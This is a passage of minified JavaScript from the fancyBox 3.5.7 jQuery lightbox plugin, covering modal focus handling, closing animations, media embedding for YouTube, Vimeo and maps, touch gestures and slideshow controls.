e,n,o=this;o.group.length<2||(n=o.slides[o.currPos+1],e=o.slides[o.currPos-1],e&&e.type===t&&o.loadSlide(e),n&&n.type===t&&o.loadSlide(n))},focus:function(t,o){var i,a,s=this,r=["a[href]","area[href]",'input:not([disabled]):not([type="hidden"]):not([aria-hidden])',"select:not([disabled]):not([aria-hidden])","textarea:not([disabled]):not([aria-hidden])","button:not([disabled]):not([aria-hidden])","iframe","object","embed","video","audio","[contenteditable]",'[tabindex]:not([tabindex^="-"])'].join(",");s.isClosing||(i=!t&&s.current&&s.current.isComplete?s.current.$slide.find("*:visible"+(o?":not(.fancybox-close-small)":"")):s.$refs.container.find("*:visible"),i=i.filter(r).filter(function(){return"hidden"!==n(this).css("visibility")&&!n(this).hasClass("disabled")}),i.length?(a=i.index(e.activeElement),t&&t.shiftKey?(a<0||0==a)&&(t.preventDefault(),i.eq(i.length-1).trigger("focus")):(a<0||a==i.length-1)&&(t&&t.preventDefault(),i.eq(0).trigger("focus"))):s.$refs.container.trigger("focus"))},activate:function(){var t=this;n(".fancybox-container").each(function(){var e=n(this).data("FancyBox");e&&e.id!==t.id&&!e.isClosing&&(e.trigger("onDeactivate"),e.removeEvents(),e.isVisible=!1)}),t.isVisible=!0,(t.current||t.isIdle)&&(t.update(),t.updateControls()),t.trigger("onActivate"),t.addEvents()},close:function(t,e){var o,i,a,s,r,c,l,u=this,f=u.current,h=function(){u.cleanUp(t)};return!u.isClosing&&(u.isClosing=!0,!1===u.trigger("beforeClose",t)?(u.isClosing=!1,d(function(){u.update()}),!1):(u.removeEvents(),a=f.$content,o=f.opts.animationEffect,i=n.isNumeric(e)?e:o?f.opts.animationDuration:0,f.$slide.removeClass("fancybox-slide--complete fancybox-slide--next fancybox-slide--previous fancybox-animated"),!0!==t?n.fancybox.stop(f.$slide):o=!1,f.$slide.siblings().trigger("onReset").remove(),i&&u.$refs.container.removeClass("fancybox-is-open").addClass("fancybox-is-closing").css("transition-duration",i+"ms"),u.hideLoading(f),u.hideControls(!0),u.updateCursor(),"zoom"!==o||a&&i&&"image"===f.type&&!u.isMoved()&&!f.hasError&&(l=u.getThumbPos(f))||(o="fade"),"zoom"===o?(n.fancybox.stop(a),s=n.fancybox.getTranslate(a),c={top:s.top,left:s.left,scaleX:s.width/l.width,scaleY:s.height/l.height,width:l.width,height:l.height},r=f.opts.zoomOpacity,
"auto"==r&&(r=Math.abs(f.width/f.height-l.width/l.height)>.1),r&&(l.opacity=0),n.fancybox.setTranslate(a,c),p(a),n.fancybox.animate(a,l,i,h),!0):(o&&i?n.fancybox.animate(f.$slide.addClass("fancybox-slide--previous").removeClass("fancybox-slide--current"),"fancybox-animated fancybox-fx-"+o,i,h):!0===t?setTimeout(h,i):h(),!0)))},cleanUp:function(e){var o,i,a,s=this,r=s.current.opts.$orig;s.current.$slide.trigger("onReset"),s.$refs.container.empty().remove(),s.trigger("afterClose",e),s.current.opts.backFocus&&(r&&r.length&&r.is(":visible")||(r=s.$trigger),r&&r.length&&(i=t.scrollX,a=t.scrollY,r.trigger("focus"),n("html, body").scrollTop(a).scrollLeft(i))),s.current=null,o=n.fancybox.getInstance(),o?o.activate():(n("body").removeClass("fancybox-active compensate-for-scrollbar"),n("#fancybox-style-noscroll").remove())},trigger:function(t,e){var o,i=Array.prototype.slice.call(arguments,1),a=this,s=e&&e.opts?e:a.current;if(s?i.unshift(s):s=a,i.unshift(a),n.isFunction(s.opts[t])&&(o=s.opts[t].apply(s,i)),!1===o)return o;"afterClose"!==t&&a.$refs?a.$refs.container.trigger(t+".fb",i):r.trigger(t+".fb",i)},updateControls:function(){var t=this,o=t.current,i=o.index,a=t.$refs.container,s=t.$refs.caption,r=o.opts.caption;o.$slide.trigger("refresh"),r&&r.length?(t.$caption=s,s.children().eq(0).html(r)):t.$caption=null,t.hasHiddenControls||t.isIdle||t.showControls(),a.find("[data-fancybox-count]").html(t.group.length),a.find("[data-fancybox-index]").html(i+1),a.find("[data-fancybox-prev]").prop("disabled",!o.opts.loop&&i<=0),a.find("[data-fancybox-next]").prop("disabled",!o.opts.loop&&i>=t.group.length-1),"image"===o.type?a.find("[data-fancybox-zoom]").show().end().find("[data-fancybox-download]").attr("href",o.opts.image.src||o.src).show():o.opts.toolbar&&a.find("[data-fancybox-download],[data-fancybox-zoom]").hide(),n(e.activeElement).is(":hidden,[disabled]")&&t.$refs.container.trigger("focus")},hideControls:function(t){var e=this,n=["infobar","toolbar","nav"];!t&&e.current.opts.preventCaptionOverlap||n.push("caption"),this.$refs.container.removeClass(n.map(function(t){return"fancybox-show-"+t}).join(" ")),this.hasHiddenControls=!0},showControls:function(){var t=this,e=t.current?t.current.opts:t.opts,n=t.$refs.container;t.hasHiddenControls=!1,t.idleSecondsCounter=0,n.toggleClass("fancybox-show-toolbar",!(!e.toolbar||!e.buttons)).toggleClass("fancybox-show-infobar",!!(e.infobar&&t.group.length>1)).toggleClass("fancybox-show-caption",!!t.$caption).toggleClass("fancybox-show-nav",!!(e.arrows&&t.group.length>1)).toggleClass("fancybox-is-modal",!!e.modal)},toggleControls:function(){this.hasHiddenControls?this.showControls():this.hideControls()}}),n.fancybox={version:"3.5.7",defaults:a,getInstance:function(t){var e=n('.fancybox-container:not(".fancybox-is-closing"):last').data("FancyBox"),o=Array.prototype.slice.call(arguments,1);return e instanceof b&&("string"===n.type(t)?e[t].apply(e,o):"function"===n.type(t)&&t.apply(e,o),e)},open:function(t,e,n){return new b(t,e,n)},close:function(t){var e=this.getInstance();e&&(e.close(),!0===t&&this.close(t))},destroy:function(){this.close(!0),r.add("body").off("click.fb-start","**")},isMobile:/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent),use3d:function(){var n=e.createElement("div");return t.getComputedStyle&&t.getComputedStyle(n)&&t.getComputedStyle(n).getPropertyValue("transform")&&!(e.documentMode&&e.documentMode<11)}(),getTranslate:function(t){var e;return!(!t||!t.length)&&(e=t[0].getBoundingClientRect(),{top:e.top||0,left:e.left||0,width:e.width,height:e.height,opacity:parseFloat(t.css("opacity"))})},setTranslate:function(t,e){var n="",o={};if(t&&e)return void 0===e.left&&void 0===e.top||(n=(void 0===e.left?t.position().left:e.left)+"px, "+(void 0===e.top?t.position().top:e.top)+"px",n=this.use3d?"translate3d("+n+", 0px)":"translate("+n+")"),void 0!==e.scaleX&&void 0!==e.scaleY?n+=" scale("+e.scaleX+", "+e.scaleY+")":void 0!==e.scaleX&&(n+=" scaleX("+e.scaleX+")"),n.length&&(o.transform=n),void 0!==e.opacity&&(o.opacity=e.opacity),void 0!==e.width&&(o.width=e.width),void 0!==e.height&&(o.height=e.height),t.css(o)},animate:function(t,e,o,i,a){var s,r=this;n.isFunction(o)&&(i=o,o=null),r.stop(t),s=r.getTranslate(t),t.on(f,function(c){(!c||!c.originalEvent||t.is(c.originalEvent.target)&&"z-index"!=c.originalEvent.propertyName)&&(r.stop(t),n.isNumeric(o)&&t.css("transition-duration",""),n.isPlainObject(e)?void 0!==e.scaleX&&void 0!==e.scaleY&&r.setTranslate(t,{top:e.top,left:e.left,width:s.width*e.scaleX,height:s.height*e.scaleY,scaleX:1,scaleY:1}):!0!==a&&t.removeClass(e),n.isFunction(i)&&i(c))}),n.isNumeric(o)&&t.css("transition-duration",o+"ms"),n.isPlainObject(e)?(void 0!==e.scaleX&&void 0!==e.scaleY&&(delete e.width,delete e.height,t.parent().hasClass("fancybox-slide--image")&&t.parent().addClass("fancybox-is-scaling")),n.fancybox.setTranslate(t,e)):t.addClass(e),t.data("timer",setTimeout(function(){t.trigger(f)},o+33))},stop:function(t,e){t&&t.length&&(clearTimeout(t.data("timer")),e&&t.trigger(f),t.off(f).css("transition-duration",""),t.parent().removeClass("fancybox-is-scaling"))}},n.fn.fancybox=function(t){var e;return t=t||{},e=t.selector||!1,e?n("body").off("click.fb-start",e).on("click.fb-start",e,{options:t},i):this.off("click.fb-start").on("click.fb-start",{items:this,options:t},i),this},r.on("click.fb-start","[data-fancybox]",i),r.on("click.fb-start","[data-fancybox-trigger]",function(t){n('[data-fancybox="'+n(this).attr("data-fancybox-trigger")+'"]').eq(n(this).attr("data-fancybox-index")||0).trigger("click.fb-start",{$trigger:n(this)})}),function(){var t=null;r.on("mousedown mouseup focus blur",".fancybox-button",function(e){switch(e.type){case"mousedown":t=n(this);break;case"mouseup":t=null;break;case"focusin":n(".fancybox-button").removeClass("fancybox-focus"),n(this).is(t)||n(this).is("[disabled]")||n(this).addClass("fancybox-focus");break;case"focusout":n(".fancybox-button").removeClass("fancybox-focus")}})}()}}(window,document,jQuery),function(t){"use strict";var e={youtube:{matcher:/(youtube\.com|youtu\.be|youtube\-nocookie\.com)\/(watch\?(.*&)?v=|v\/|u\/|embed\/?)?(videoseries\?list=(.*)|[\w-]{11}|\?listType=(.*)&list=(.*))(.*)/i,params:{autoplay:1,autohide:1,fs:1,rel:0,hd:1,wmode:"transparent",enablejsapi:1,html5:1},paramPlace:8,type:"iframe",url:"https://www.youtube-nocookie.com/embed/$4",thumb:"https://img.youtube.com/vi/$4/hqdefault.jpg"},vimeo:{matcher:/^.+vimeo.com\/(.*\/)?([\d]+)(.*)?/,params:{autoplay:1,hd:1,show_title:1,show_byline:1,show_portrait:0,fullscreen:1},paramPlace:3,type:"iframe",url:"//player.vimeo.com/video/$2"},instagram:{matcher:/(instagr\.am|instagram\.com)\/p\/([a-zA-Z0-9_\-]+)\/?/i,type:"image",url:"//$1/p/$2/media/?size=l"},gmap_place:{matcher:/(maps\.)?google\.([a-z]{2,3}(\.[a-z]{2})?)\/(((maps\/(place\/(.*)\/)?\@(.*),(\d+.?\d+?)z))|(\?ll=))(.*)?/i,type:"iframe",url:function(t){return"//maps.google."+t[2]+"/?ll="+(t[9]?t[9]+"&z="+Math.floor(t[10])+(t[12]?t[12].replace(/^\//,"&"):""):t[12]+"").replace(/\?/,"&")+"&output="+(t[12]&&t[12].indexOf("layer=c")>0?"svembed":"embed")}},gmap_search:{matcher:/(maps\.)?google\.([a-z]{2,3}(\.[a-z]{2})?)\/(maps\/search\/)(.*)/i,type:"iframe",url:function(t){return"//maps.google."+t[2]+"/maps?q="+t[5].replace("query=","q=").replace("api=1","")+"&output=embed"}}},n=function(e,n,o){if(e)return o=o||"","object"===t.type(o)&&(o=t.param(o,!0)),t.each(n,function(t,n){e=e.replace("$"+t,n||"")}),o.length&&(e+=(e.indexOf("?")>0?"&":"?")+o),e};t(document).on("objectNeedsType.fb",function(o,i,a){var s,r,c,l,d,u,f,p=a.src||"",h=!1;s=t.extend(!0,{},e,a.opts.media),t.each(s,function(e,o){if(c=p.match(o.matcher)){if(h=o.type,f=e,u={},o.paramPlace&&c[o.paramPlace]){d=c[o.paramPlace],"?"==d[0]&&(d=d.substring(1)),d=d.split("&");for(var i=0;i<d.length;++i){var s=d[i].split("=",2);2==s.length&&(u[s[0]]=decodeURIComponent(s[1].replace(/\+/g," ")))}}return l=t.extend(!0,{},o.params,a.opts[e],u),p="function"===t.type(o.url)?o.url.call(this,c,l,a):n(o.url,c,l),r="function"===t.type(o.thumb)?o.thumb.call(this,c,l,a):n(o.thumb,c),"youtube"===e?p=p.replace(/&t=((\d+)m)?(\d+)s/,function(t,e,n,o){return"&start="+((n?60*parseInt(n,10):0)+parseInt(o,10))}):"vimeo"===e&&(p=p.replace("&%23","#")),!1}}),h?(a.opts.thumb||a.opts.$thumb&&a.opts.$thumb.length||(a.opts.thumb=r),"iframe"===h&&(a.opts=t.extend(!0,a.opts,{iframe:{preload:!1,attr:{scrolling:"no"}}})),t.extend(a,{type:h,src:p,origSrc:a.src,contentSource:f,contentType:"image"===h?"image":"gmap_place"==f||"gmap_search"==f?"map":"video"})):p&&(a.type=a.opts.defaultType)});var o={youtube:{src:"https://www.youtube.com/iframe_api",class:"YT",loading:!1,loaded:!1},vimeo:{src:"https://player.vimeo.com/api/player.js",class:"Vimeo",loading:!1,loaded:!1},load:function(t){var e,n=this;if(this[t].loaded)return void setTimeout(function(){n.done(t)});this[t].loading||(this[t].loading=!0,e=document.createElement("script"),e.type="text/javascript",e.src=this[t].src,"youtube"===t?window.onYouTubeIframeAPIReady=function(){n[t].loaded=!0,n.done(t)}:e.onload=function(){n[t].loaded=!0,n.done(t)},document.body.appendChild(e))},done:function(e){var n,o,i;"youtube"===e&&delete window.onYouTubeIframeAPIReady,(n=t.fancybox.getInstance())&&(o=n.current.$content.find("iframe"),"youtube"===e&&void 0!==YT&&YT?i=new YT.Player(o.attr("id"),{events:{onStateChange:function(t){0==t.data&&n.next()}}}):"vimeo"===e&&void 0!==Vimeo&&Vimeo&&(i=new Vimeo.Player(o),i.on("ended",function(){n.next()})))}};t(document).on({"afterShow.fb":function(t,e,n){e.group.length>1&&("youtube"===n.contentSource||"vimeo"===n.contentSource)&&o.load(n.contentSource)}})}(jQuery),function(t,e,n){"use strict";var o=function(){return t.requestAnimationFrame||t.webkitRequestAnimationFrame||t.mozRequestAnimationFrame||t.oRequestAnimationFrame||function(e){return t.setTimeout(e,1e3/60)}}(),i=function(){return t.cancelAnimationFrame||t.webkitCancelAnimationFrame||t.mozCancelAnimationFrame||t.oCancelAnimationFrame||function(e){t.clearTimeout(e)}}(),a=function(e){var n=[];e=e.originalEvent||e||t.e,e=e.touches&&e.touches.length?e.touches:e.changedTouches&&e.changedTouches.length?e.changedTouches:[e];for(var o in e)e[o].pageX?n.push({x:e[o].pageX,y:e[o].pageY}):e[o].clientX&&n.push({x:e[o].clientX,y:e[o].clientY});return n},s=function(t,e,n){return e&&t?"x"===n?t.x-e.x:"y"===n?t.y-e.y:Math.sqrt(Math.pow(t.x-e.x,2)+Math.pow(t.y-e.y,2)):0},r=function(t){if(t.is('a,area,button,[role="button"],input,label,select,summary,textarea,video,audio,iframe')||n.isFunction(t.get(0).onclick)||t.data("selectable"))return!0;for(var e=0,o=t[0].attributes,i=o.length;e<i;e++)if("data-fancybox-"===o[e].nodeName.substr(0,14))return!0;return!1},c=function(e){var n=t.getComputedStyle(e)["overflow-y"],o=t.getComputedStyle(e)["overflow-x"],i=("scroll"===n||"auto"===n)&&e.scrollHeight>e.clientHeight,a=("scroll"===o||"auto"===o)&&e.scrollWidth>e.clientWidth;return i||a},l=function(t){for(var e=!1;;){if(e=c(t.get(0)))break;if(t=t.parent(),!t.length||t.hasClass("fancybox-stage")||t.is("body"))break}return e},d=function(t){var e=this;e.instance=t,e.$bg=t.$refs.bg,e.$stage=t.$refs.stage,e.$container=t.$refs.container,e.destroy(),e.$container.on("touchstart.fb.touch mousedown.fb.touch",n.proxy(e,"ontouchstart"))};d.prototype.destroy=function(){var t=this;t.$container.off(".fb.touch"),n(e).off(".fb.touch"),t.requestId&&(i(t.requestId),t.requestId=null),t.tapped&&(clearTimeout(t.tapped),t.tapped=null)},d.prototype.ontouchstart=function(o){var i=this,c=n(o.target),d=i.instance,u=d.current,f=u.$slide,p=u.$content,h="touchstart"==o.type;if(h&&i.$container.off("mousedown.fb.touch"),(!o.originalEvent||2!=o.originalEvent.button)&&f.length&&c.length&&!r(c)&&!r(c.parent())&&(c.is("img")||!(o.originalEvent.clientX>c[0].clientWidth+c.offset().left))){if(!u||d.isAnimating||u.$slide.hasClass("fancybox-animated"))return o.stopPropagation(),void o.preventDefault();i.realPoints=i.startPoints=a(o),i.startPoints.length&&(u.touch&&o.stopPropagation(),i.startEvent=o,i.canTap=!0,i.$target=c,i.$content=p,i.opts=u.opts.touch,i.isPanning=!1,i.isSwiping=!1,i.isZooming=!1,i.isScrolling=!1,i.canPan=d.canPan(),i.startTime=(new Date).getTime(),i.distanceX=i.distanceY=i.distance=0,i.canvasWidth=Math.round(f[0].clientWidth),i.canvasHeight=Math.round(f[0].clientHeight),i.contentLastPos=null,i.contentStartPos=n.fancybox.getTranslate(i.$content)||{top:0,left:0},i.sliderStartPos=n.fancybox.getTranslate(f),i.stagePos=n.fancybox.getTranslate(d.$refs.stage),i.sliderStartPos.top-=i.stagePos.top,i.sliderStartPos.left-=i.stagePos.left,i.contentStartPos.top-=i.stagePos.top,i.contentStartPos.left-=i.stagePos.left,n(e).off(".fb.touch").on(h?"touchend.fb.touch touchcancel.fb.touch":"mouseup.fb.touch mouseleave.fb.touch",n.proxy(i,"ontouchend")).on(h?"touchmove.fb.touch":"mousemove.fb.touch",n.proxy(i,"ontouchmove")),n.fancybox.isMobile&&e.addEventListener("scroll",i.onscroll,!0),((i.opts||i.canPan)&&(c.is(i.$stage)||i.$stage.find(c).length)||(c.is(".fancybox-image")&&o.preventDefault(),n.fancybox.isMobile&&c.parents(".fancybox-caption").length))&&(i.isScrollable=l(c)||l(c.parent()),n.fancybox.isMobile&&i.isScrollable||o.preventDefault(),(1===i.startPoints.length||u.hasError)&&(i.canPan?(n.fancybox.stop(i.$content),i.isPanning=!0):i.isSwiping=!0,i.$container.addClass("fancybox-is-grabbing")),2===i.startPoints.length&&"image"===u.type&&(u.isLoaded||u.$ghost)&&(i.canTap=!1,i.isSwiping=!1,i.isPanning=!1,i.isZooming=!0,n.fancybox.stop(i.$content),i.centerPointStartX=.5*(i.startPoints[0].x+i.startPoints[1].x)-n(t).scrollLeft(),i.centerPointStartY=.5*(i.startPoints[0].y+i.startPoints[1].y)-n(t).scrollTop(),i.percentageOfImageAtPinchPointX=(i.centerPointStartX-i.contentStartPos.left)/i.contentStartPos.width,i.percentageOfImageAtPinchPointY=(i.centerPointStartY-i.contentStartPos.top)/i.contentStartPos.height,i.startDistanceBetweenFingers=s(i.startPoints[0],i.startPoints[1]))))}},d.prototype.onscroll=function(t){var n=this;n.isScrolling=!0,e.removeEventListener("scroll",n.onscroll,!0)},d.prototype.ontouchmove=function(t){var e=this;return void 0!==t.originalEvent.buttons&&0===t.originalEvent.buttons?void e.ontouchend(t):e.isScrolling?void(e.canTap=!1):(e.newPoints=a(t),void((e.opts||e.canPan)&&e.newPoints.length&&e.newPoints.length&&(e.isSwiping&&!0===e.isSwiping||t.preventDefault(),e.distanceX=s(e.newPoints[0],e.startPoints[0],"x"),e.distanceY=s(e.newPoints[0],e.startPoints[0],"y"),e.distance=s(e.newPoints[0],e.startPoints[0]),e.distance>0&&(e.isSwiping?e.onSwipe(t):e.isPanning?e.onPan():e.isZooming&&e.onZoom()))))},d.prototype.onSwipe=function(e){var a,s=this,r=s.instance,c=s.isSwiping,l=s.sliderStartPos.left||0;if(!0!==c)"x"==c&&(s.distanceX>0&&(s.instance.group.length<2||0===s.instance.current.index&&!s.instance.current.opts.loop)?l+=Math.pow(s.distanceX,.8):s.distanceX<0&&(s.instance.group.length<2||s.instance.current.index===s.instance.group.length-1&&!s.instance.current.opts.loop)?l-=Math.pow(-s.distanceX,.8):l+=s.distanceX),s.sliderLastPos={top:"x"==c?0:s.sliderStartPos.top+s.distanceY,left:l},s.requestId&&(i(s.requestId),s.requestId=null),s.requestId=o(function(){s.sliderLastPos&&(n.each(s.instance.slides,function(t,e){var o=e.pos-s.instance.currPos;n.fancybox.setTranslate(e.$slide,{top:s.sliderLastPos.top,left:s.sliderLastPos.left+o*s.canvasWidth+o*e.opts.gutter})}),s.$container.addClass("fancybox-is-sliding"))});else if(Math.abs(s.distance)>10){if(s.canTap=!1,r.group.length<2&&s.opts.vertical?s.isSwiping="y":r.isDragging||!1===s.opts.vertical||"auto"===s.opts.vertical&&n(t).width()>800?s.isSwiping="x":(a=Math.abs(180*Math.atan2(s.distanceY,s.distanceX)/Math.PI),s.isSwiping=a>45&&a<135?"y":"x"),"y"===s.isSwiping&&n.fancybox.isMobile&&s.isScrollable)return void(s.isScrolling=!0);r.isDragging=s.isSwiping,s.startPoints=s.newPoints,n.each(r.slides,function(t,e){var o,i;n.fancybox.stop(e.$slide),o=n.fancybox.getTranslate(e.$slide),i=n.fancybox.getTranslate(r.$refs.stage),e.$slide.css({transform:"",opacity:"","transition-duration":""}).removeClass("fancybox-animated").removeClass(function(t,e){return(e.match(/(^|\s)fancybox-fx-\S+/g)||[]).join(" ")}),e.pos===r.current.pos&&(s.sliderStartPos.top=o.top-i.top,s.sliderStartPos.left=o.left-i.left),n.fancybox.setTranslate(e.$slide,{top:o.top-i.top,left:o.left-i.left})}),r.SlideShow&&r.SlideShow.isActive&&r.SlideShow.stop()}},d.prototype.onPan=function(){var t=this;if(s(t.newPoints[0],t.realPoints[0])<(n.fancybox.isMobile?10:5))return void(t.startPoints=t.newPoints);t.canTap=!1,t.contentLastPos=t.limitMovement(),t.requestId&&i(t.requestId),t.requestId=o(function(){n.fancybox.setTranslate(t.$content,t.contentLastPos)})},d.prototype.limitMovement=function(){var t,e,n,o,i,a,s=this,r=s.canvasWidth,c=s.canvasHeight,l=s.distanceX,d=s.distanceY,u=s.contentStartPos,f=u.left,p=u.top,h=u.width,g=u.height;return i=h>r?f+l:f,a=p+d,t=Math.max(0,.5*r-.5*h),e=Math.max(0,.5*c-.5*g),n=Math.min(r-h,.5*r-.5*h),o=Math.min(c-g,.5*c-.5*g),l>0&&i>t&&(i=t-1+Math.pow(-t+f+l,.8)||0),l<0&&i<n&&(i=n+1-Math.pow(n-f-l,.8)||0),d>0&&a>e&&(a=e-1+Math.pow(-e+p+d,.8)||0),d<0&&a<o&&(a=o+1-Math.pow(o-p-d,.8)||0),{top:a,left:i}},d.prototype.limitPosition=function(t,e,n,o){var i=this,a=i.canvasWidth,s=i.canvasHeight;return n>a?(t=t>0?0:t,t=t<a-n?a-n:t):t=Math.max(0,a/2-n/2),o>s?(e=e>0?0:e,e=e<s-o?s-o:e):e=Math.max(0,s/2-o/2),{top:e,left:t}},d.prototype.onZoom=function(){var e=this,a=e.contentStartPos,r=a.width,c=a.height,l=a.left,d=a.top,u=s(e.newPoints[0],e.newPoints[1]),f=u/e.startDistanceBetweenFingers,p=Math.floor(r*f),h=Math.floor(c*f),g=(r-p)*e.percentageOfImageAtPinchPointX,b=(c-h)*e.percentageOfImageAtPinchPointY,m=(e.newPoints[0].x+e.newPoints[1].x)/2-n(t).scrollLeft(),v=(e.newPoints[0].y+e.newPoints[1].y)/2-n(t).scrollTop(),y=m-e.centerPointStartX,x=v-e.centerPointStartY,w=l+(g+y),$=d+(b+x),S={top:$,left:w,scaleX:f,scaleY:f};e.canTap=!1,e.newWidth=p,e.newHeight=h,e.contentLastPos=S,e.requestId&&i(e.requestId),e.requestId=o(function(){n.fancybox.setTranslate(e.$content,e.contentLastPos)})},d.prototype.ontouchend=function(t){var o=this,s=o.isSwiping,r=o.isPanning,c=o.isZooming,l=o.isScrolling;if(o.endPoints=a(t),o.dMs=Math.max((new Date).getTime()-o.startTime,1),o.$container.removeClass("fancybox-is-grabbing"),n(e).off(".fb.touch"),e.removeEventListener("scroll",o.onscroll,!0),o.requestId&&(i(o.requestId),o.requestId=null),o.isSwiping=!1,o.isPanning=!1,o.isZooming=!1,o.isScrolling=!1,o.instance.isDragging=!1,o.canTap)return o.onTap(t);o.speed=100,o.velocityX=o.distanceX/o.dMs*.5,o.velocityY=o.distanceY/o.dMs*.5,r?o.endPanning():c?o.endZooming():o.endSwiping(s,l)},d.prototype.endSwiping=function(t,e){var o=this,i=!1,a=o.instance.group.length,s=Math.abs(o.distanceX),r="x"==t&&a>1&&(o.dMs>130&&s>10||s>50);o.sliderLastPos=null,"y"==t&&!e&&Math.abs(o.distanceY)>50?(n.fancybox.animate(o.instance.current.$slide,{top:o.sliderStartPos.top+o.distanceY+150*o.velocityY,opacity:0},200),i=o.instance.close(!0,250)):r&&o.distanceX>0?i=o.instance.previous(300):r&&o.distanceX<0&&(i=o.instance.next(300)),!1!==i||"x"!=t&&"y"!=t||o.instance.centerSlide(200),o.$container.removeClass("fancybox-is-sliding")},d.prototype.endPanning=function(){var t,e,o,i=this;i.contentLastPos&&(!1===i.opts.momentum||i.dMs>350?(t=i.contentLastPos.left,e=i.contentLastPos.top):(t=i.contentLastPos.left+500*i.velocityX,e=i.contentLastPos.top+500*i.velocityY),o=i.limitPosition(t,e,i.contentStartPos.width,i.contentStartPos.height),o.width=i.contentStartPos.width,o.height=i.contentStartPos.height,n.fancybox.animate(i.$content,o,366))},d.prototype.endZooming=function(){var t,e,o,i,a=this,s=a.instance.current,r=a.newWidth,c=a.newHeight;a.contentLastPos&&(t=a.contentLastPos.left,e=a.contentLastPos.top,i={top:e,left:t,width:r,height:c,scaleX:1,scaleY:1},n.fancybox.setTranslate(a.$content,i),r<a.canvasWidth&&c<a.canvasHeight?a.instance.scaleToFit(150):r>s.width||c>s.height?a.instance.scaleToActual(a.centerPointStartX,a.centerPointStartY,150):(o=a.limitPosition(t,e,r,c),n.fancybox.animate(a.$content,o,150)))},d.prototype.onTap=function(e){var o,i=this,s=n(e.target),r=i.instance,c=r.current,l=e&&a(e)||i.startPoints,d=l[0]?l[0].x-n(t).scrollLeft()-i.stagePos.left:0,u=l[0]?l[0].y-n(t).scrollTop()-i.stagePos.top:0,f=function(t){var o=c.opts[t];if(n.isFunction(o)&&(o=o.apply(r,[c,e])),o)switch(o){case"close":r.close(i.startEvent);break;case"toggleControls":r.toggleControls();break;case"next":r.next();break;case"nextOrClose":r.group.length>1?r.next():r.close(i.startEvent);break;case"zoom":"image"==c.type&&(c.isLoaded||c.$ghost)&&(r.canPan()?r.scaleToFit():r.isScaledDown()?r.scaleToActual(d,u):r.group.length<2&&r.close(i.startEvent))}};if((!e.originalEvent||2!=e.originalEvent.button)&&(s.is("img")||!(d>s[0].clientWidth+s.offset().left))){if(s.is(".fancybox-bg,.fancybox-inner,.fancybox-outer,.fancybox-container"))o="Outside";else if(s.is(".fancybox-slide"))o="Slide";else{if(!r.current.$content||!r.current.$content.find(s).addBack().filter(s).length)return;o="Content"}if(i.tapped){if(clearTimeout(i.tapped),i.tapped=null,Math.abs(d-i.tapX)>50||Math.abs(u-i.tapY)>50)return this;f("dblclick"+o)}else i.tapX=d,i.tapY=u,c.opts["dblclick"+o]&&c.opts["dblclick"+o]!==c.opts["click"+o]?i.tapped=setTimeout(function(){i.tapped=null,r.isAnimating||f("click"+o)},500):f("click"+o);return this}},n(e).on("onActivate.fb",function(t,e){e&&!e.Guestures&&(e.Guestures=new d(e))}).on("beforeClose.fb",function(t,e){e&&e.Guestures&&e.Guestures.destroy()})}(window,document,jQuery),function(t,e){"use strict";e.extend(!0,e.fancybox.defaults,{btnTpl:{slideShow:'<button data-fancybox-play class="fancybox-button fancybox-button--play" title="{{PLAY_START}}"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M6.5 5.4v13.2l11-6.6z"/></svg><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M8.33 5.75h2.2v12.5h-2.2V5.75zm5.15 0h2.2v12.5h-2.2V5.75z"/></svg></button>'},slideShow:{autoStart:!1,speed:3e3,progress:!0}});var n=function(t){this.instance=t,this.init()};e.extend(n.prototype,{timer:null,isActive:!1,$button:null,init:function(){var t=this,n=t.instance,o=n.group[n.currIndex].opts.slideShow;t.$button=n.$refs.toolbar.find("[data-fancybox-play]").on("click",function(){t.toggle()}),n.group.length<2||!o?t.$button.hide():o.progress&&(t.$progress=e('<div class="fancybox-progress"></div>').appendTo(n.$refs.inner))},set:function(t){var n=this,o=n.instance,i=o.current;i&&(!0===t||i.opts.loop||o.currIndex<o.group.length-1)?n.isActive&&"video"!==i.contentType&&(n.$progress&&e.fancybox.animate(n.$progress.show(),{scaleX:1},i.opts.slideShow.speed),n.timer=setTimeout(function(){o.current.opts.loop||o.current.index!=o.group.length-1?o.next():o.jumpTo(0)},i.opts.slideShow.speed)):(n.stop(),o.idleSecondsCounter=0,o.showControls())},clear:function(){var t=this;clearTimeout(t.timer),t.timer=null,t.$progress&&t.$progress.removeAttr("style").hide()},start:function(){var t=this,e=t.instance.current;e&&(t.$button.attr("title",(e.opts.i18n[e.opts.lang]||e.opts.i18n.en).PLAY_STOP).removeClass("fancybox-button--play").addClass("fancybox-button--pause"),t.isActive=!0,e.isComplete&&t.set(!0),t.instance.trigger("onSlideShowChange",!0))},stop:function(){var t=this,e=t.instance.current;t.clear(),t.$button.attr("title",(e.opts.i18n[e.opts.lang]||e.opts.i18n.en).PLAY_START).removeClass("fancybox-button--pause").addClass("fancybox-button--play"),t.isActive=!1,t.instance.trigger("onSlideShowChange",!1),t.$progress&&t.$progress.removeAttr("style").hide()},toggle:function(){var t=this;t.isActive?t.stop():t.start()}}),e(t).on({"onInit.fb":function(t,e){e&&!e.SlideShow&&(e.SlideShow=new n(e))},"beforeShow.fb":function(t,e,n,o){var i=e&&e.SlideShow;o?i&&n.opts.slideShow.autoStart&&i.start():i&&i.isActive&&i.clear()},"afterShow.fb":function(t,e,n){var o=e&&e.SlideShow;o&&o.isActive&&o.set()},"afterKeydown.fb":function(n,o,i,a,s){var r=o&&o.SlideShow;!r||!i.opts.slideShow||80!==s&&32!==s||e(t.activeElement).is("button,a,input")||(a.preventDefault(),r.toggle())},"beforeClose.fb onDeactivate.fb":function(t,e){var n=e&&e.SlideShow;n&&n.stop()}}),e(t).on("visibilitychange",function(){var n=e.fancybox.getInstance(),o=n&&n.SlideShow;o&&o.isActive&&(t.hidden?o.clear():o.set())})}(document,jQuery),function(t,e){"use strict";var n=function(){for(var 